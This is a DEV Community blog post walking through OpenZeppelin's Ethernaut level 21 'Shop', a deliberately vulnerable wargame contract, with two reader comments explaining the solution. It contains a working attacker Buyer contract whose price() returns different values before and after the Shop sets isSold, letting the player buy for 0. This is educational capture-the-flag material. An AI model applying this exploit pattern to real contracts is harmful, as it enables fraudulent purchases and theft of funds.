DEV Community

Cover image for Ethernaut Hacks Level 21: Shop
Naveen ⚡
Naveen ⚡

Posted on

Ethernaut Hacks Level 21: Shop

This is the level 21 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

Hack

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

player has to set price to less than it's current value.

The new value of price is fetched by calling price() method of a Buyer contract. Note that there are two distinct price() calls - in the if statement check and while setting new value of price. A Buyer can cheat by returning a legit value in price() method of Buyer during the first invocation (during if check) and returning any less value, say 0, during second invocation (while setting price).

But, we can't track the number of price() invocation in Buyer contract because price() must be a view function (as per the interface) - can't write to storage! However, look closely new price in buy() is set after isSold is set to true. We can read the public isSold variable and return from price() of Buyer contract accordingly. Bingo!

Write the malicious Buyer in Remix:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IShop {
    function buy() external;
    function isSold() external view returns (bool);
    function price() external view returns (uint);
}

contract Buyer {

    function price() external view returns (uint) {
        bool isSold = IShop(msg.sender).isSold();
        uint askedPrice = IShop(msg.sender).price();

        if (!isSold) {
            return askedPrice;
        }

        return 0;
    }

    function buyFromShop(address _shopAddr) public {
        IShop(_shopAddr).buy();
    }
}
Enter fullscreen mode Exit fullscreen mode

Get the address of Shop:

contract.address

// Output: <your-instance-address>
Enter fullscreen mode Exit fullscreen mode

Now simply call buyFromShop of Buyer with <your-instance-address> as only param.

The price in Shop is now 0. Verify by:

await contract.price().then(v => v.toString())

// Output: '0'
Enter fullscreen mode Exit fullscreen mode

Free buy!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Top comments (2)

Collapse
 
bonistech profile image
Jonas Merhej

The instructions worked for me, without understanding why.
In the first call of:

if (_buyer.price() >= price && !isSold)
Enter fullscreen mode Exit fullscreen mode

we are doing 100 >= price && !false which reads as true && true which returns true

But the second time we are doing 0 >= price && !true which reads as false && false which returns false

How did we then pass the if-statement?

Collapse
 
nvnx profile image
Naveen ⚡

Note that we area not calling buy() of Shop two times. So if is not executed two times. But the _buyer.price() is called two times. One at the if statement and one in the body of if.

The first time (in if check) _buyer.price() is called isSold is false and _buyer.price() returns asked price. But at second time call (in if body) isSold is set to true before _buyer.price() is called and so _buyer.price() returns 0.